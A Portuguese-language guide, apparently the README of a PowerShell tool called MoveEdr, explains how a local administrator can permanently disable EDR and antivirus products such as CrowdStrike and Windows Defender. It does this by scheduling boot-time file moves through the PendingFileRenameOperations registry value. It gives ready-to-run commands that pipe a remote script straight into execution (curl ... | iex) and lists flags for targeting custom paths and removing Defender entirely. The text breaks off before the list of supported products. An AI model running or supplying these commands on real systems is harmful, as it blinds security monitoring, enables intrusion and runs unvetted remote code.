
Desabilitar permanentemente EDRs como administrador local
Se você é administrador, pode forçar o Windows a excluir ou mover pastas e arquivos imediatamente após a inicialização, antes que os serviços sejam iniciados. Isso pode ser usado para desabilitar EDRs.
[!CAUTION] Há um problema com o CrowdStrike que resulta em um loop de inicialização com a mensagem "INACCESSIBLE_BOOT_DEVICE". Minha teoria é que o próprio CrowdStrike ou uma solução de implantação de software está tentando instalar os arquivos ausentes do CrowdStrike, mas falha e deixa o sistema em um estado quebrado. Não tenho certeza se isso depende do tempo decorrido após a movimentação ou do número de reinicializações realizadas. Mover o CrowdStrike pela primeira vez e reiniciar funciona bem. Talvez agende o desfazer após a primeira reinicialização para pecar pelo excesso de cautela.
curl https://raw.githubusercontent.com/duhirsch/MoveEdr/refs/heads/main/MoveEdr.ps1 | iex; MoveEdr
# Reboot!
As seguintes flags estão disponíveis
Undo : Desfaz a movimentação do EDR, funciona com CustomPathsClear: Limpa o valor da chave do registroPrint: Exibe o valor da chave do registro em um formato legível por humanos, em vez de strings terminadas por bytes nulosCustomOnly: Por padrão, os CustomPaths e FullyCustomPaths são adicionados às movimentações incorporadas. Esta flag garante que apenas seus caminhos personalizados sejam movidos.CustomPaths: Especifique seus próprios caminhos de EDR em vez de usar os incorporados. Aceita apenas fontes como entrada; para também personalizar o destino, use FullyCustomPaths.FullyCustomPaths : Especifique fontes e destinos, dando a você controle sobre o destino em vez de usar um $Suffix.Suffix: Use um sufixo diferente para arquivos movidos, em vez do padrão _bakDump: Exporta os valores da chave do registro em um formato que pode ser usado com LoadLoad: Carrega valores previamente exportados da chave do registroDefenderHard: Em vez de mover apenas executáveis selecionados do Windows Defender, mova toda a pasta Windows DefenderIgnoreOld: Não mantém valores já existentes da chave do registro, sobrescreve-os cegamenteReboot: Realiza uma reinicialização imediatamente após definir a chave do registro. Pode executar atualizações do Windows e demorar muito para reiniciar 😬curl https://raw.githubusercontent.com/duhirsch/MoveEdr/refs/heads/main/MoveEdr.ps1 | iex
MoveEdr -CustomPaths "C:\Program Files\newAndShinyEdr","C:\Windows\System32\drivers\newAndShinyEdr" -Suffix "_x33f" -IgnoreOld -DefenderHard -Reboot
# Do what you need to do!
# Undo
# Same command as before, just append -Undo
curl https://raw.githubusercontent.com/duhirsch/MoveEdr/refs/heads/main/MoveEdr.ps1 | iex
MoveEdr -CustomPaths "C:\Program Files\newAndShinyEdr","C:\Windows\System32\drivers\newAndShinyEdr" -Suffix "_x33f" -IgnoreOld -DefenderHard -Reboot -Undo
Alguns programas têm um recurso que impede até mesmo administradores locais de desinstalá-los ou desativá-los. Na maioria das vezes, são AVs/EDRs que solicitam uma senha de desativação, mesmo quando você é administrador.
Aqui está um truque para desativá-los movendo arquivos e pastas para que não possam ser iniciados na próxima inicialização.
O PendMoves do SysInternals fornece movefile.exe com a seguinte explicação:
Existem vários aplicativos, como service packs e hotfixes, que precisam substituir um arquivo que está em uso e não conseguem. O Windows, portanto, fornece a API MoveFileEx para renomear ou excluir um arquivo e permite que o chamador especifique que deseja que a operação ocorra na próxima vez que o sistema inicializar, antes que os arquivos sejam referenciados. O Session Manager executa essa tarefa lendo os comandos de renomeação e exclusão registrados no valor HKLM\System\CurrentControlSet\Control\Session Manager\PendingFileRenameOperations.
Como exatamente MoveFileEx faz isso? Vamos verificar a documentação:
A função armazena os locais dos arquivos a serem renomeados na reinicialização no seguinte valor do registro: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\PendingFileRenameOperations
Este valor do registro é do tipo REG_MULTI_SZ. Cada operação de renomeação armazena uma das seguintes strings terminadas em NULL, dependendo se a renomeação é uma exclusão ou não:
szSrcFile\0\0
szSrcFile\0szDstFile\0
Isso significa que podemos obter o mesmo efeito que movefile.exe criando a chave de registro PendingFileRenameOperations e inserindo os caminhos dos arquivos/diretórios que queremos excluir no formato correto REG_MULTI_SZ.
O script MoveEdr automatiza a criação das chaves de registro corretas para os seguintes AVs/EDRs: